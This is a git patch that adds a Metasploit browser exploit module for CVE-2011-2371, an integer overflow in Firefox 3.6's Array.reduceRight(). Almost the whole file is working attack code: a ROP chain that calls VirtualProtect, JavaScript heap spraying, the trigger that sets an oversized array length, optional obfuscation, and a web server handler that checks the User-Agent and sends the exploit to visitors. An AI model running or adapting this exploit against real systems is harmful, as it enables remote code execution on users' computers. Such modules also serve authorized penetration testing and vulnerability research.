From 4f4c0bc0be2198a59459a2cc79c826a46b44a751 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Thu, 13 Oct 2011 03:16:15 +0000 Subject: [PATCH] Add CVE-2011-2371 Firefox Array.reduceRight() vuln git-svn-id: file:///home/svn/framework3/trunk@13909 4d416f70-5f16-0410-b530-b9f4589650da --- .../windows/browser/mozilla_reduceright.rb | 223 ++++++++++++++++++ 1 file changed, 223 insertions(+) create mode 100644 modules/exploits/windows/browser/mozilla_reduceright.rb diff --git a/modules/exploits/windows/browser/mozilla_reduceright.rb b/modules/exploits/windows/browser/mozilla_reduceright.rb new file mode 100644 index 0000000000..2cda5f2b81 --- /dev/null +++ b/modules/exploits/windows/browser/mozilla_reduceright.rb @@ -0,0 +1,223 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = AverageRanking + + include Msf::Exploit::Remote::HttpServer::HTML + + def initialize(info={}) + super(update_info(info, + 'Name' => "Mozilla Firefox Array.reduceRight() Integer Overflow", + 'Description' => %q{ + This module exploits a vulnerability found in Mozilla Firefox 3.6. When an + array object is configured with a large length value, the reduceRight() method + may cause an invalid index being used, allowing abitrary remote code execution. + Please note that the exploit requires a longer amount of time (compare to a + typical browser exploit) in order to gain control of the machine. + }, + 'License' => MSF_LICENSE, + 'Version' => "$Revision$", + 'Author' => + [ + 'Chris Rohlf', #Matasano Security (Initial discovery according to Mozilla.org) + 'Yan Ivnitskiy', #Matasano Security (Initial discovery with Chris?) + 'Matteo Memelli', #PoC from Exploit-DB + 'dookie2000ca', #"Helping" ryujin (Matteo) + 'sinn3r', #Metasploit + ], + 'References' => + [ + ['CVE', '2011-2371'], + ['URL', 'http://http://www.exploit-db.com/exploits/17974/'], + ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=664009'] + ], + 'Payload' => + { + 'BadChars' => "\x00", + 'PrependEncoder' => "\xbc\x0c\x0c\x0c\x0c", + }, + 'DefaultOptions' => + { + 'ExitFunction' => "process", + 'InitialAutoRunScript' => 'migrate -f', + }, + 'Platform' => 'win', + 'Targets' => + [ + #Windows XP / Vista / 7 + [ 'Mozilla Firefox 3.6.16', {} ], + ], + 'Privileged' => false, + 'DisclosureDate' => "Jun 21 2011", + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) + ], self.class) + end + + def junk + return rand_text_alpha(4).unpack("L")[0].to_i + end + + def on_request_uri(cli, request) + + agent = request.headers['User-Agent'] + if agent !~ /Firefox\/3\.6\.[16|17]/ + vprint_error("This browser is not supported: #{agent.to_s}") + send_not_found(cli) + return + end + + #mona.py tekniq! + Payload + rop = [ + 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) + 0x7c37a140, # Make EAX readable + 0x7c37591f, # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll) + 0x7c348b06, # EBP (NOP) + 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) + 0x7c37a140, # <- VirtualProtect() found in IAT + 0x7c3530ea, # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll) + 0x7c346c0b, # Slide, so next gadget would write to correct stack location + 0x7c376069, # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll) + 0x7c348b06, # EDI (filler) + 0x7c348b06, # will be patched at runtime (VP), then picked up into ESI + 0x7c348b06, # EBX (filler) + 0x7c376402, # POP EBP # RETN (msvcr71.dll) + 0x7c345c30, # ptr to push esp # ret (from MSVCR71.dll) + 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) + 0xfffff82f, # size 20001 bytes + 0x7c351e05, # NEG EAX # RETN (MSVCR71.dll) + 0x7c354901, # POP EBX # RETN (MSVCR71.dll) + 0xffffffff, # pop value into ebx + 0x7c345255, # INC EBX # FPATAN # RETN (MSVCR71.dll) + 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll) + 0x7c34d201, # POP ECX # RETN (MSVCR71.dll) + 0x7c38b001, # RW pointer (lpOldProtect) (-> ecx) + 0x7c34b8d7, # POP EDI # RETN (MSVCR71.dll) + 0x7c34b8d8, # ROP NOP (-> edi) + 0x7c344f87, # POP EDX # RETN (MSVCR71.dll) + 0xffffffc0, # value to negate, target value : 0x00000040, target: edx + 0x7c351eb1, # NEG EDX # RETN (MSVCR71.dll) + 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) + 0x90909090, # NOPS (-> eax) + 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll) + ].pack('V*') + + table = [0x4141].pack('v*') + table << [ + 0x0c000048, + junk, + junk, + junk, + junk, + junk, + junk, + junk, + junk, + ].pack('V*') + table << [0x4141].pack('v*') + table << [ + 0x7c370eef, + junk, + ].pack('V*') + table << [0x4141].pack('v*') + table << [ + 0x3410240c, + 0x0c00007c, + junk, + junk, + junk, + junk, + junk, + junk, + junk, + junk, + junk, + junk, + junk, + junk, + 0x0c00002e + ].pack('V*') + + p = payload.encoded + arch = Rex::Arch.endian(target.arch) + js_payload = Rex::Text.to_unescape(rop + p, arch) + js_ptrs = Rex::Text.to_unescape(table, arch) + + #Pretty much based on Matteo's code except for the size adjustment to avoid a busted heap + js = <<-JS + var applet = document.getElementById('MyApplet'); + + function spray() { + var ptrs = unescape("#{js_ptrs}"); + + var bheader = 0x12/2; + var nullt = 0x2/2; + + var espoffset = (7340 /2) - ptrs.length; + var esppadding = unescape("%u0c0c%u0c0c"); + while(esppadding.length < espoffset) esppadding += esppadding; + esppadding = esppadding.substring(0, espoffset); + + var payload = unescape("#{js_payload}"); + + var tr_padding = unescape("%u0c0c%u0c0c"); + while (tr_padding.length < 0x7fa00) {tr_padding += tr_padding;} + + var dummy = ptrs + esppadding + payload + tr_padding; + var hspray = dummy.substring(0,0x7fa00 - bheader - nullt); + + HeapBlocks = new Array() + for (i=0;i<0x60;i++){ + HeapBlocks[i] += hspray; + } + } + spray(); + obj = new Array; + obj.length = 2197815302; + f = function trigger(prev, myobj, indx, array) { + alert(myobj[0]); + } + obj.reduceRight(f,1,2,3); + JS + + js = js.gsub(/^\t\t/, '') + + if datastore['OBFUSCATE'] + js = ::Rex::Exploitation::JSObfu.new(js) + js.obfuscate + end + + html = <<-HTML + + + + + + You need a Java-enabled browser to pwn this. + + + + + HTML + + print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") + send_response(cli, html, {'Content-Type'=>'text/html'}) + end +end \ No newline at end of file